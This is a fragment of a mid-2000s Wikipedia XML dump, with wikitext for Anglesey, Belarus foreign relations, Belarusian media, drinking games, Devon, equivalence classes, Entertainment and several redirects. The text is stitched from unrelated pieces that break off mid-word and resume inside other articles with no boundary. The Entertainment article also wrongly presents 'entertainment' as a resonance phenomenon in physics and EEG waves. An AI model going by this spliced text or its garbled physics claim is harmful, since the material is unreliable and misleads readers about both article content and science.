</contributor> <minor /> <comment>Fixed link</comment> <text xml:space="preserve">'''NOTE:This article has been merged with [[Autosexuality]]. Feel free to delete this article.''' '''Autoeroticism''' is the practice of fulfilling one's own sexual needs without a partner. The most common form of autoeroticism is [[masturbation]]. Many people also use [[dildo]]s, [[vibrator]]s, anal beads, [[sybian machine]]s, and other [[sex toy]]s alone. Most autoerotic practices are relatively or entirely safe. One example of a dangerous practice is [[autoerotic asphyxiation]]. It may result in death, particularly when done alone. [[Self-bondage]] is the practice of [[Bondage (BDSM)|sexual bondage]] by oneself; it carries a higher risk than bondage with a partner, and there is a large potential for things to go wrong. {{sex-stub}} [[Category:Masturbation]]</text> </revision> </page> <page> <title>Alpenhorn</title> <id>2533</id> <revision> <id>15900935</id> <timestamp>2005-06-08T22:14:42Z</timestamp> <contributor> <username>Violetriga</username> <id>90192</id> </contributor> <comment>Alpenhorn moved to Alphorn</comment> <text xml:space="preserve">#redirect [[Alphorn]] </text> </revision> </page> <page> <title>Anglesey</title> <id>2534</id> <revision> <id>41694763</id> <timestamp>2006-03-01T02:48:21Z</timestamp> <contributor> <username>BrownHairedGirl</username> <id>754619</id> </contributor> <minor /> <comment>Spelling Dún Laoghaire</comment> <text xml:space="preserve">:''For the Staffordshire parish see [[Anglesey, Staffordshire]]; for the Australian town see [[Anglesea, Victoria]].'' {| class=&quot;toccolours&quot; style=&quot;border-collapse: collapse; float: right; clear: right; margin: 0 0 1em 1em;&quot; border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; width=&quot;260&quot; |+ &lt;big&gt;'''Anglesey principal area'''&lt;/big&gt; |- | colspan=2 style=&quot;text-align: center; background: white;&quot;|[[Image:WalesAnglesey.png]] |- | colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot;|Geography |- ! style=&quot;font-weight: normal;&quot; | '''[[Surface area|Area]]'''&lt;br /&gt;- Total&lt;br /&gt;- % Water | [[List of Welsh principal areas by area|Ranked 9th]]&lt;br /&gt;[[1 E8 m²|714]] [[square kilometre|km²]]&lt;br /&gt;? % |- ! Admin HQ | [[Llangefni]] |- ! Largest town | [[Holyhead]] |- ! [[ISO 3166-2:GB|ISO 3166-2]] | GB-AGY |- ! [[ONS coding system|ONS code]] | 00NA |- | colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot;|Demographics |- ! style=&quot;font-weight: normal;&quot; | '''[[Population]]''':&lt;br /&gt;- Total (2004 est.)&lt;br /&gt;- [[Density]] |[[List of Welsh principal areas by population|Ranked 21st]]&lt;br /&gt;68,700&lt;br /&gt;[[List of Welsh principal areas by population density|Ranked 17th]]&lt;br /&gt;96 / km&amp;sup2; |- ! Ethnicity | 98.1% White |- ! style=&quot;font-weight: normal;&quot; | '''[[Welsh language]]'''&lt;br /&gt;- Any skills | [[List of Welsh principal areas by percentage Welsh language|Ranked 2nd]]&lt;br /&gt;70.4% |- | colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot;|Politics |- |colspan=2 align=center|[[Image:Anglesey_arms.png|150px|Arms of Isle of Anglesey County Council]]&lt;br&gt;Isle of Anglesey County Council&lt;br /&gt;http://www.anglesey.gov.uk/ |- ! Control | No overall control (majority of independents in factions, see [[#Politics|Politics]]) |- ! [[MPs elected in the UK general election, 2005|Member of Parliament]] | *[[Albert Owen]] |- ![[Members of the National Assembly for Wales|Assembly Members]] | *[[Ieuan Wyn Jones]]&lt;br /&gt;(Constituency) *[[North Wales National Assembly for Wales Electoral Region|North Wales]]&lt;br /&gt;(Regional) |- !'''[[Member of the European Parliament|MEPs]]'''||[[European Parliament election, 2004 (UK)#Wales|Wales]] |} {{infobox Wales traditional county| |County= Anglesey |Image= [[Image:WalesAngleseyTrad.png]] |SizeRank= 12th |Size= 176,630 acres |Water= ? |CountyTown= [[Llangefni]] |ChapmanCode=AGY }} '''Anglesey''' ([[Welsh language|Welsh]]: ''Ynys Môn'', pronounced {{IPA|/ˌ&amp;#592;n&amp;#618;s'mo:n/}} ([[International Phonetic Alphabet|IPA]]), roughly ''unniss mawn''), is an island and county at the northwestern extremity of [[north Wales]]. It is separated from the mainland by a narrow stretch of water known as the [[Menai Strait]]. It is connected to the mainland by two bridges, the original [[Menai Suspension Bridge]] (carrying the [[A5 road|A5]]), built by [[Thomas Telford]] in 1826 as a road link, and the newer, twice reconstructed [[Britannia Bridge]], carrying the [[A55 road|A55]] and the [[North Wales Coast Line|North Wales Coast Railway line]]. The county of Anglesey covers a number of islands apart from Anglesey itself, in particular [[Holy Island, Anglesey|Holy Island]]. ==History== Historically, Anglesey has long been associated with the [[Druidry|Druid]]s. In c. AD 60 the [[Roman Empire|Roman]] general [[Suetonius Paullinus]], determined to break the power of the druids, attacked the island, destroying the shrine and the sacred groves. The Romans called the island ''Mona''. After the Romans, the island was invaded by [[Vikings]], [[Saxons]], and [[Normans]] before falling to [[Edward I of England|King Edward I]] of England, in the [[13th century]]. ''Môn'' is the [[Welsh language|Welsh]] name of Anglesey. The English name is a corrupted form of [[Old Norse]], meaning the 'Isle of Ongull'. [[Old Welsh]] names are ''Ynys Dywyll'' (&quot;Dark Isle&quot;) and ''Ynys y Cedairn'' (''cedyrn'' or ''kedyrn''; &quot;Isle of brave folk&quot;). It is the ''Mona'' of [[Tacitus]] (Ann. xiv. 29, Agr. xiv. 18), [[Pliny the Elder]] (iv. 16) and [[Dio Cassius]] (62). It is called ''Mam Cymru'' (&quot;Mother of Wales&quot;) by [[Giraldus Cambrensis]]. ''Clas Merddin'', and ''Y fêl Ynys'' (honey isle) are other names. According to the Triads (67), Anglesey was once part of the mainland, as geology proves. The island was the seat of the [[Druid]]s, of whom 28 [[cromlech]]s remain on uplands overlooking the sea; e.g. at [[Plâs Newydd]]. The Druids were attacked in [[61]] by [[Suetonius Paulinus]], and again in [[78]] by [[Gnaeus Julius Agricola|Agricola]]. The present road from [[Holyhead]] to [[Llanfairpwllgwyngyll]] was originally a Roman road. British and Roman camps, coins and ornaments have been dug up and discussed, especially by the Hon. Mr. Stanley of Penrhos. The foundations of [[Holyhead]] are [[Caer Gybi]] Roman. As an island ''Môn'' would usually be a good defensive position and because of this it was the site of the court or ''Llys'' of the kings and princes of Gwynedd at [[Aberffraw]]. Apart from a devastating [[Denmark|Danish]] raid in [[853]] this was to remain the case until the thirteenth century when improvements to the English navy made it indefensible. ==Geography== Anglesey is a relatively low-lying island with slight risings such as [[Parys Mountain]], Cadair Mynachdy (or Monachdy, i.e., &quot;chair of the monastery&quot;; there is a Nanner, &quot;convent&quot;, not far away), [[Mynydd Bodafon]] and [[Holyhead Mountain]]. It was known as the breadbasket of Wales, referred to during the Middle Ages as
netary union]], [[equal rights]], single citizenship, and a common defence and [[foreign policy]]. === Belarus-EU relations === Following the recognition of Belarus as an independent state in December [[1991]] by the [[European Community]], EC/EU-Belarus relations initially experienced a steady progression. The signature of the Partnership and Cooperation Agreement (PCA) in [[1995]] signaled a commitment to political, economic and trade cooperation. Some assistance was provided to Belarus within the framework of the [[TACIS]] programme and also through various aid programs and loans. However, progress in EU-Belarus relations stalled in [[1996]] after serious setbacks to the development of democracy, and the [[Drazdy conflict]]. The EU did not recognize the 1996 constitution, which replaced the [[1994]] constitution. The [[Council of the European Union]] decided against Belarus in [[1997]]: The PCA was not concluded, nor was its trade-related part; Belarusian membership in the [[Council of Europe]] was not supported; bilateral relations at the ministerial level were suspended and EU technical assistance programs were frozen. Acknowledging the lack of progress in relation to bilateral relations and the internal situation following the position adopted in [[1997]], the EU adopted a step-by-step approach in [[1999]], whereby sanctions would be gradually lifted upon fulfillment of the four [[benchmark]]s set by the [[Organization for Security and Co-operation in Europe]]. In [[2000]], some moderately positive developments toward the implementation of recommendations made by the OSCE AMG were observed but were not sufficient in the realm of access to fair and free elections. === Belarus-U.S. relations === The [[United States]] has encouraged Belarus to conclude and adhere to agreements with the [[International Monetary Fund]] (IMF) on the program of macroeconomic stabilization and related reform measures, as well as to undertake increased privatization and to create a favorable climate for business and investment. Although there has been some American direct private investment in Belarus, its development has been relatively slow given the uncertain pace of reform. An Overseas Private Investment Corporation agreement was signed in June [[1992]] but has been suspended since 1995 because Belarus did not fulfill its obligations under the agreement. Belarus is eligible for [[Export-Import Bank of the United States|Export-Import Bank]] short-term financing [[insurance]] for U.S. investments, but because of the adverse business climate, no projects have been initiated. The IMF granted standby credit in September 1995, but Belarus has fallen off the program and did not receive the second tranche of funding, which had been scheduled for regular intervals throughout 1996. == Present situation (2001 onwards) == === Belarus-Russia relations === [[Russia]] remains the largest and most important partner for Belarus both in the political and economic fields. After protracted disputes and setbacks, the two countries' [[customs duty|customs duties]] were unified as of March 2001 but the customs controls were soon restored. In terms of [[trade]], almost half of Belarusian [[export]] goes to Russia. Due to the structure of Belarusian [[industry]], Belarus relies heavily on Russia both for export markets and for the supply of [[raw materials]] and components. After initial negotiation with the Russian [[Central Bank]] on [[monetary union]], the [[Russian rouble]] was set to be introduced in 2004 in Belarus, but it was soon postponed. Then it was set that Russian rouble would be introduced in 2005, but it was postponed again. Finally, it was set to be introduced in [[2006]], but it seems to be cancelled again for an undefinite period of time. === Belarus-EU relations === The structure of Belarus trade reflects the low competitiveness and output decline of manufacturing industry in the country over the past decade, leading to the predominance of primary production work intensive goods in the export. Belarusian exports to EU consist mainly of agricultural and textile products, while the EU exports is primarily machinery. Belarus is a beneficiary of EU's Generalised System of Preferences (GSP). European Commission decided in 2003 to initiate an investigation into violation of freedom of association in Belarus as the first step towards a possible temporary withdrawal of the GSP from Belarus. In December 2004 EU adopted a position aimed at imposing travel restrictions on officials from Belarus responsible for the fraudulent parliamentary elections and referendum on [[17 October]] [[2004]] and for human rights violations during subsequent peaceful political demonstrations in Minsk. The [[European Parliament]] released a statement in March [[2005]] in which it denounced the Belarussian regime as dictatorship. The European parliamentarians were primarily concerned about the suppression of independent media outlets in the country and about the fraudulent referendum. The resolution of the European Parliament stated that personal bank accounts of President Lukashenko and other high-ranking Belarussian officials should be tracked and frozen. In 2005, [[Amnesty International]] reported a ''pattern of deliberate obstruction, harassment and intimidation of human rights defenders'' in Belarus. [[Reporters Without Borders]] accused the Belarusian authorities of hounding and arresting journalists from the country's Polish minority. Lukashenko has closed the country's main Polish newspaper, printing a bogus paper instead with the same name and size that praised his [[incumbent]] regime. Several foreign, mainly Polish, journalists were arrested or expelled from the country. Lukashenko accused [[Poland]] of an attempt to overthrow his regime by stirring up a peaceful revolution in Belarus like the [[orange revolution]] in [[Ukraine]] in 2004. Later in 2005 the Belarusian [[riot police]] seized the headquarters of the [[Union of Poles in Belarus]], an association representing the 400,000 [[ethnic minority]] [[Polish people]] living in western areas the country that were part of Poland until [[World War II]]. The dispute between Poland and Belarus escalated further as Poland responded by recalling its ambassador from Belarus for indefinite consultations, and called on the [[European Union]] to impose sanctions on the Belarusian leadership in order to curtail the [[human rights]] abuses in Belarus. Belarusian papers described this as a 'dirty political game', and part of a 'cold war' waged on president Lukashenko. Polish Foreign Minister [[Adam Rotfeld]] said a clampdown was under way, aimed at destroying ''&quot;all elements of political pluralism and independence&quot;'' in Belarus. In August 2005 the EU's executive commission called for human rights to be respected in Belarus. The commision said it was considering offering support to independent media in the country and had set aside more than eight million euros from its budget to offer support for human rights activities. [[France]] expressed her solidarity with Poland on the issue of human rights in Belarus a day after the EU declared it was worried about the situation in the country. Several former Soviet Republics, including neighbouring Ukraine, also expressed their concerns about the development of the situation in Belarus. === Belarus-U.S. relations === Belarus has had an ongoing discussion to relaunch IMF-backed reforms, concluding an arrangement for an IMF Staff-monitored program (SMP) in 2001. However, the authorities did not follow through with reforms as hoped, leaving an uncertain future for IMF-backed cooperation. Belarus authorities have said on several occasions that they find IMF intervention and recommendations in Belarus counter-productive to the economical development of those countries. The relationships with the [[United States]] have been further strained, after [[Congress of the United States]] unanimously passed the [[Belarus Democracy Act of 2004]]. === Border and territory disputes === * with [[Latvia]]: boundary remains undemarcated * with [[Lithuania]]: only a third of the border demarcated * with [[Ukraine]]: unratified boundary treaty prevents border demarcation [[Category:Foreign relations of Belarus| ]] [[ru:Внешняя политика Белоруссии]]</text> </revision> </page> <page> <title>Belarusian media</title> <id>3539</id> <revision> <id>39747955</id> <timestamp>2006-02-15T16:17:12Z</timestamp> <contributor> <username>Taikos</username> <id>313629</id> </contributor> <comment>some links</comment> <text xml:space="preserve">'''Belarusian media''', since the days when [[Belarus]] gained its independence, comprise state-owned and private newspapers and magazines, and state-owned radio and television. [[Internet]] sites, both state-controlled and independent, play an increasing role. == Perestroika period == During the time of [[perestroika]] and after the [[collapse of the Soviet Union]] media expression flourished, with a wide variety of newspapers that presented a wide variety of points of view. == [[Alexander Lukashenko|Lukashenko]] period == [[Image:Belarus-Minsk-Mass Media in Belarus-For Diaspora.jpg|thumb|200px|&quot;Mass Media in Belarus&quot; exhibition. &quot;Mass Media for Diaspora&quot; booth. May 5, 2005]] After 10 years of Lukashenko's presidency, most of the '''Belarusian media''' outlets (newspapers, radio, television) are owned by the state. The state-controlled media present pro-[[government]] points of view and interpretation of events as in the [[Soviet Union|Soviet]] period. There are a number of privately owned media outlets, mostly small independent newspapers. They operate under a permanent threat of being closed down for violating various government regulations, such as mis-stating their corporate name on their publication or operating out of an office
ust take a drink. Another variety is a game that is played constantly throughout a night of drinking, for example, only drinking with your other hand (left hand if you're right-handed, and vice versa). If a player accidentally picks up their glass with the wrong hand, they have to finish their drink. Such games start off simple, but become much more challenging as the game continues, the players get more drunken and their coordination and memory deteriorate. While a drinking game is in progress, or between games, [[International Drinking Rules]] may be in force. ==Other drinking games== ===Card games=== * [[Beeramid]] * [[Circle_of_Death_%28drinking_game%29|Circle of death]] * [[Cross the River]] * [[Drunken Uno]] * [[Fuck the Dealer]] * [[The Good, The Bad and the Ugly (Game)|The Good, the Bad and the Ugly]] * [[Hi-Lo]] * [[Horserace|Horserace (drinking game)]] * [[Kings (drinking game)|Kings]] * [[Old Maid]] * [[President (game)|President]] (aka Asshole, Presidents &amp; Assholes) * [[Ride the Bus]] (aka Drunk Driver) * [[Up And Down The River (drinking game)|Up and Down the River]] * Drunken Snail * King Tut * Drink your face off * Beer Pong Card Game * Pub Crawls * Sheps Deal ===Dice games=== * [[Beer Die]] * [[Liar's dice]] (Mexican) * [[Mr. Three]] * [[5 Die]] * [[Seven-Eleven Doubles]] * [[Tablero da Gucci]] * [[Blates]] ===Quarters Games=== * [[Quarters]] * [[Robopound]] * Sandstorm * Baseball * Wall Destroyer ===Skill, memory and repetition=== * [[Drink while you think]] * [[21 (game)|21]] * [[Beer-In-Hand]] - a modification to any pocket billiards game * [[Buffalo (game)|Buffalo]] * [[Caps (drinking game)|Caps]] * [[Captain Paf]] or ''Cardinal Puff'' * [[Disassociation/Association]] - a simple word game in the vain of Simple Simon. * [[FizzBuzz]] * [[Strat (drinking game)|Strat]] - an elaborate, score-based variant of Quarters * [[Bunnies drinking game]] * [[yee-hah_game|The yee-hah game]] * [[Fuzzy Duck]] * [[One fat hen]] * [[Horsepucky]] or Cake * [[Bouncing coins]] * [[Bizu-Bizu]] * [[Matchboxes]] * [[Who Shit]] * [[Roman Numerals (game)|Roman Numerals]] - ''a.k.a. Poo Bum Dickie'' * [[Man Your Spacesuits]] * [[Ten Minute Warning (drinking game)|Ten Minute Warning]] * [[Zumi-Zumi]] ===Movies, television, music, etc.=== * A constantly updated and increasingly comprehensive collection of original movie drinking games can be found at [http://www.lazydork.com www.lazydork.com], which has become the definitive internet movie drinking game site. * The [[DVD]] for the comedy movie [[Eurotrip]] ([[2004]]) has a full-length audio commentary wherein the directors play a drinking game to their own movie. * &quot;Hi, Bob&quot;: a sip is taken whenever a character on [[The Bob Newhart Show]] says the name &quot;Bob,&quot; and the entire drink is consumed when the sentence &quot;Hi, Bob&quot; is spoken. * [[Roxanne (drinking game)]] * [[Withnail and I drinking game]] * Deadwood (everyone drinks every time a character says &quot;cocksucker&quot;) ===Speed consumption=== * [[Funneling]] * [[Power Hour]] and Centurion * [[Drink My Battleship]] * [[Rock, Paper, Scissors (drinking game)|Rock, Paper, Scissors]] * [[Rogaining (drinking game)|Rogaining]] * [[Shotgunning]] * [[Strawpedo]] * [[Edward Forty-Hands]] * [[Boat Race (game)|Boat Race]] * [[Yard (beer)]] * [[Guess the Number]] ===Games to decide who buys the next round=== * [[Jug Game|The Jug Game]] * [[Spin the Ghillie]] * [[Spoof (game)|Spoof]] * [[Swing Low Sweet Chariot]] ===Other party and pub games=== * [[Beer Hunter]] * [[Beer Pong]] or [[Beer Pong|Lob pong]] (a drinking game requiring the use of [[ping pong]] balls) * [[You Drink]] *[[Bottle polka]] aka Hi-Ho!, Pass the bottle, etc * [[Chicken Finger Drinking Game]] * [[Flip Cup]] * [[Georgings|Georging]] * [[Goon of Fortune]] * [[KOTRT]] (Knights of the Round Table) * [[Pub golf]] * [[Pennying]] * [[Sink the Titanic]] * Snow White and the Seven Dwarves * [[Vodka barman]] * Landmines * [[I Never|I have never...]] (also: I never, Never have I ever) * Beersketball (a game based on [[Baseketball]] and [[Beer Pong]]) ===Conversion of other games=== Almost any [[game]] of skill or chance that does not traditionally involve drinking can theoretically be converted into a drinking game. In some games, conversion could be as easy as letting the winner distribute shots to the other players, while in more complicated games, shots can be forced upon players for specific events in the game. For example, in the game of [[chess]], players may have to take drinks when one of their pieces are captured (or perhaps the opposite, where they have to drink upon capturing a piece), as portrayed in the chess-game scene of [[Our Man in Havana]]. In a popular variant of [[baseball]] called '''Beer Ball''', players have to drink some beer every time they reach a base. Players should exercise caution before choosing to add drinking to any [[sport]] that could be dangerous under intoxication. ==External links== *[http://www.lazydork.com Lazydork's Movie Drinking Games] *[http://www.drinkswap.com DrinkSwap: 700+ Drinking Games] *[http://www.barmeister.com/games.html BarMeister: Online Guide to Drinking] *[http://www.rapidfish.org/joan/mwwdlsc/drinkinggame.html The Screen Savers drinking game] *[http://www.gulfwardrinkinggame.com/ The Gulf War drinking game] *[http://www.avalon.net/~matrix/drink/cops.html The Cops drinking game] *[http://planetofthegeeks.com/trek/beertrek/ BeerTrek - Star Trek Drinking Game] *[http://www.geocities.com/TelevisionCity/Set/7200/drinking.htm The Ultimate Drinking Game page] *[http://www.pongalong.com/ Beer Pong, Flip Cup and Baseball Drinking Games] *[http://www.webtender.com/handbook/games/ The Webtender - Bartender's Handbook - Drinking Games] *[http://www.ringthis.com/tvdrink/tv.php Ring This... TV and Movie Drinking Games] *[http://www.tarfumes.com Tarfumes.com - Movie and TV Drinking Games] *[ftp://nic.funet.fi/pub/culture/beer/misc/drinking_games/ Collection at nic.funet.fi] *[http://compare-stuff.com/party-game.shtml Web-based drinking/party game at compare-stuff.com] *[http://www.funwithbeer.com/ Beer Fun and Reviews] [[Category:Drinking games| ]] [[no:Drikkelek]] [[fi:Juomapeli]] [[sv:Dryckesspel]]</text> </revision> </page> <page> <title>DEC</title> <id>8163</id> <revision> <id>15906182</id> <timestamp>2005-04-22T20:11:59Z</timestamp> <contributor> <username>SDC</username> <id>181435</id> </contributor> <text xml:space="preserve">#REDIRECT [[Dec]]</text> </revision> </page> <page> <title>Devon</title> <id>8166</id> <revision> <id>41354827</id> <timestamp>2006-02-26T20:35:34Z</timestamp> <contributor> <username>Marknew</username> <id>10695</id> </contributor> <minor /> <comment>Revert to last edit by [[User:Dewnans]]</comment> <text xml:space="preserve">{{alternateuses}} '''Devon''' is a large [[Counties of England|county]] in [[South West England]], bordering on [[Cornwall]] to the west, [[Dorset]] and [[Somerset]] to the east. The name '''Devonshire''' was once common but is now rarely used, although it does feature in some names and titles (such as the [[Duke of Devonshire]]), and is still to be seen on signposts in the county. {| class=&quot;toccolours&quot; style=&quot;border-collapse: collapse; float: right; margin: 0 0 1em 1em&quot; border=&quot;1&quot; cellpadding=&quot;3&quot; cellspacing=&quot;0&quot; width=&quot;300&quot; |+ &lt;big&gt;'''Devon'''&lt;/big&gt; |- | colspan=2 style=&quot;text-align: center; background: white;&quot; | [[Image:EnglandDevon.png]] |- | colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; | Geography |- ! width=&quot;45%&quot; | Status | [[Ceremonial counties of England|Ceremonial]] &amp; (smaller) [[Metropolitan and non-metropolitan counties of England|Non-metropolitan]] county |- ! Region | [[South West England]] |- ! style=&quot;font-weight: normal;&quot; | '''[[Surface area|Area]]'''&lt;br /&gt;- Total&lt;br /&gt;- Admin. council&lt;br /&gt;- Admin. area | [[List of Ceremonial counties of England by Area|Ranked 4th]]&lt;br /&gt;[[1 E9 m²|6,707]] [[square kilometre|km&amp;sup2;]]&lt;br /&gt;[[List of Administrative shire counties of England by Area|Ranked 3rd]]&lt;br /&gt;6,564 km&amp;sup2; |- ! Admin HQ | [[Exeter]] |- ! [[ISO 3166-2:GB|ISO 3166-2]] | GB-DEV |- ! [[ONS coding system|ONS code]] | 18 |- ! [[Nomenclature of Territorial Units for Statistics|NUTS]] 3 | UKK43 |- | colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; &quot; | Demographics |- ! style=&quot;font-weight: normal;&quot; | '''[[Population]]'''&lt;br /&gt;- Total ([[2004]] est.)&lt;br /&gt;- [[Density]]&lt;br /&gt;- Admin. council&lt;br /&gt;- Admin. pop. |[[List of ceremonial counties of England by population|Ranked 11th]]&lt;br /&gt;1,101,600&lt;br /&gt;164 / km&amp;sup2;&lt;br /&gt;[[List of non-metropolitan counties of England by population|Ranked 12th]]&lt;br /&gt;724,700 |- ! Ethnicity | 98.7% White |- | colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; &quot; | Politics |- | colspan=2 style=&quot;text-align: center;&quot; | Devon County Council&lt;br /&gt;http://www.devon.gov.uk/ |- ! Executive | [[Liberal Democrats (UK)|Liberal Democrat]] |- ! [[MPs elected in the UK general election, 2005|Members of Parliament]] | * [[Ben Bradshaw]] * [[Angela Browning]] * [[Geoffrey Cox]] * [[Linda Gilroy]] * [[Nick Harvey]] * [[Adrian Sanders]] * [[Alison Seabeck]] * [[Anthony Steen]] * [[Gary Streeter]] * [[Hugo Swire]] * [[Richard Younger-Ross]] |- | colspan=2 style=&quot;background: #f0f0f0; font-weight: bolder;&quot; &quot; | Districts |- | colspan=2 | &lt;center&gt;[[Image:Devon_Ceremonial_Numbered.png]]&lt;/center&gt; #[[Exeter]] #[[East Devon]] #[[Mid Devon]] #[[North Devon]] #[[Torridge]] #[[West Devon]] #[[South Hams]] #[[Teignbridge]] #[[Plymouth]] (Unitary) #[[Torba
* [[Directed set]] * [[Partial equivalence relation]] * [[Partially ordered set|Partial order]] * [[Total order]] ==External links== *[http://www.cut-the-knot.org/blue/equi.shtml Equivalence Relations] [[Category:Set theory]] [[de:Äquivalenzrelation]] [[cs:Relace ekvivalence]] [[es:Relación de equivalencia]] [[fr:Relation d'équivalence]] [[he:יחס שקילות]] [[it:Relazione di equivalenza]] [[ko:동치관계]] [[ja:同値関係]] [[pl:Relacja równoważności]] [[ru:Отношение эквивалентности]] [[sl:Ekvivalenčna relacija]] [[zh:等价关系]]</text> </revision> </page> <page> <title>Equivalence class</title> <id>9260</id> <revision> <id>41515441</id> <timestamp>2006-02-27T21:57:11Z</timestamp> <contributor> <username>Lethe</username> <id>42062</id> </contributor> <comment>/* Properties */ well defined is the more common name that I know</comment> <text xml:space="preserve">In [[mathematics]], given a [[set]] ''X'' and an [[equivalence relation]] ~ on ''X'', the '''equivalence class''' of an element ''a'' in ''X'' is the [[subset]] of all elements in ''X'' which are equivalent to ''a'': :[a] = { ''x'' &amp;isin; ''X'' | ''x'' ~ ''a'' } The notion of equivalence classes is useful for constructing sets out of already constructed ones. The set of all equivalence classes in ''X'' given an equivalence relation ~ is usually denoted as ''X'' / ~ and called the '''quotient set''' of ''X'' by ~. This operation can be thought of (very informally indeed) as the act of &quot;dividing&quot; the input set by the equivalence relation, hence both the name &quot;quotient&quot;, and the notation, which are both reminiscent of division. In cases where ''X'' has some additional structure preserved under ~, the quotient becomes an object of the same type in a natural fashion; the [[map (mathematics)|map]] that sends ''a'' to [''a''] is then an [[epimorphism]]. See [[congruence relation]]. == Examples == * If ''X'' is the set of all cars, and ~ is the equivalence relation &quot;has the same color as&quot;, then one particular equivalence class consists of all green cars. ''X'' / ~ could be naturally identified with the set of all car colors. * Consider the &quot;[[modular arithmetic|modulo]] 2&quot; equivalence relation on the set of [[integer]]s: ''x''~''y'' if and only if ''x''-''y'' is [[even and odd numbers|even]]. This relation gives rise to exactly two equivalence classes: [0] consisting of all even numbers, and [1] consisting of all odd numbers. * The [[rational number]]s can be constructed as the set of equivalence classes of ordered pairs of integers (''a'',''b'') with ''b'' not zero, where the equivalence relation is defined by :: (''a'',''b'') ~ (''c'',''d'') if and only if ''ad'' = ''bc''. :Here the equivalence class of the pair (''a'',''b'') can be identified with rational number ''a''/''b''. * Any [[function (mathematics)|function]] ''f'' : ''X'' &amp;rarr; ''Y'' defines an equivalence relation on ''X'' by ''x'' ~ ''y'' [[iff]] ''f''(''x'') = ''f''(''y''). The equivalence class of ''x'' is the set of all elements in ''X'' which get mapped to ''f''(''x''), i.e. the class [''x''] is the [[inverse image]] of ''f''(''x''). This equivalence relation is known as the [[kernel of a function|kernel]] of ''f''. * Given a [[group (mathematics)|group]] ''G'' and a [[subgroup]] ''H'', we can define an equivalence relation on ''G'' by ''x'' ~ ''y'' iff ''xy''&lt;sup&gt;&amp;nbsp;-1&lt;/sup&gt; &amp;isin; ''H''. The equivalence classes are known as right [[coset]]s of ''H'' in ''G''; one of them is ''H'' itself. They all have the same number of elements (or [[cardinality]] in the case of an [[infinite]] ''H''). If ''H'' is a [[normal subgroup]], then the set of all cosets is itself a group in a natural way. * Every group can be partitioned into equivalence classes called [[conjugacy class]]es. * The [[homotopy]] class of a [[continuous function|continuous]] map ''f'' is the equivalence class of all maps homotopic to ''f''. * In [[natural language processing]], an equivalence class is a set of all references to a single person, place, thing, or event, either real or conceptual. For example, in the sentence &quot;GE shareholders will vote for a successor to the company's outgoing CEO Jack Welch&quot;, ''GE'' and ''the company'' are synonymous, and thus constitute one equivalence class. There are separate equivalence classes for ''GE shareholders'' and ''Jack Welch''. == Properties == Because of the properties of an equivalence relation it holds that ''a'' is in [''a''] and that any two equivalence classes are either equal or [[disjoint sets|disjoint]]. It follows that the set of all equivalence classes of ''X'' forms a [[partition of a set|partition]] of ''X'': every element of ''X'' belongs to one and only one equivalence class. Conversely every partition of ''X'' also defines an equivalence relation over ''X''. It also follows from the properties of an equivalence relation that :: ''a'' ~ ''b'' if and only if [''a''] = [''b'']. If ~ is an equivalence relation on ''X'', and ''P''(''x'') is a property of elements of ''x'', such that whenever ''x'' ~ ''y'', ''P''(''x'') is true if ''P''(''y'') is true, then the property ''P'' is said to be [[well-defined]] or a ''class invariant'' under the relation ~. A frequent particular case occurs when ''f'' is a function from ''X'' to another set ''Y''; if ''x'' ~ ''y'' implies ''f''(''x'') = ''f''(''y'') then ''f'' is said to be a class invariant under ~, or simply invariant under ~. This occurs, e.g. in the character theory of finite groups. The latter case with the function ''f'' can be expressed by a commutative triangle. See also [[invariant (mathematics)|invariant]]. ==See also== *first [[isomorphism theorem]] *[[up to]] ---- In [[music]] see [[octave equivalency]], [[transpositional equivalency]], [[inversional equivalency]], [[enharmonic equivalency]]. [[Musical set theory]] takes advantage of all of these, to varying degrees, while other theories take more or less advantage of a selection. [[Category:Set theory]] [[de:Äquivalenzklasse]] [[it:Classe di equivalenza]] [[es:Clase de equivalencia]] [[pl:Klasa abstrakcji]] [[zh:等价类]]</text> </revision> </page> <page> <title>Electronic Music</title> <id>9261</id> <revision> <id>15907164</id> <timestamp>2002-02-25T15:51:15Z</timestamp> <contributor> <ip>Conversion script</ip> </contributor> <minor /> <comment>Automated conversion</comment> <text xml:space="preserve">#REDIRECT [[Electronic music]] </text> </revision> </page> <page> <title>Entertainment</title> <id>9262</id> <revision> <id>41359505</id> <timestamp>2006-02-26T21:11:13Z</timestamp> <contributor> <username>Enzogram</username> <id>995555</id> </contributor> <text xml:space="preserve">{{merge|Recreation}} '''Entertainment''' is an [[amusement]] or diversion intended to hold the attention of an audience or its participants. The industry that provides entertainment is called the [[entertainment industry]]. Entertainment has also been seen in physics as a concept of resonance. [[Image:stilt.walker.swindon.arp.500pix.jpg|thumb|right|200px|A stilt-walker entertaining shoppers at a shopping centre in [[Swindon]], [[England]]]] ==Entertainment In Physics== Entertainment is much like [[Resonance]]. Entertainment is a process in where the frequency of one system is combined with the frequency of another system, to generate a single wave. This can been seen in [[electroencephalogram]] (EEG) waves, where a combinations of seperate frequencies put together form a single sinusoidal wave. This can be an instance of two objects with multiple frequencies, achieving the same frequency. ==Examples of Entertainment== More specifically, the participatory activities listed below are a form of [[recreation]]. *[[Animation]] *[[Betting]] *[[Chat]] *[[Circus (performing art)|Circus]] *[[Dance]] *[[Film]] *[[Drinking]] *[[Game]] *[[Humor]] *[[Magic (illusion)|Magic]] *[[Mass media]] **[[film|movies/film/cinema]] **[[television]] **[[radio]] **[[new media]] *[[Museums]] *[[Music]] *[[Revue]] *[[Show business]] *[[Sex business]] *[[Shooting]] *[[Sports]] *[[Theatre]] ==See also== * [[Entertainment basic topics]] * [[Pastime index]] == External links == *{{dmoz|Arts/Entertainment/ | Entertainment}} [[Category:Entertainment| ]] [[cy:Adloniant]] [[he:בידור]] [[fr:Divertissement]] [[tl:Libangan]] [[sr:Забава]]</text> </revision> </page> <page> <title>Ether</title> <id>9263</id> <revision> <id>40750873</id> <timestamp>2006-02-22T19:58:51Z</timestamp> <contributor> <ip>12.166.7.4</ip> </contributor> <text xml:space="preserve">: ''This article is about '''ether''' as a general class of chemical compounds. For other meanings, see [[Ether (disambiguation)]]'' '''Ether''' is the general name for a class of [[chemical compound]]s which contain an ether 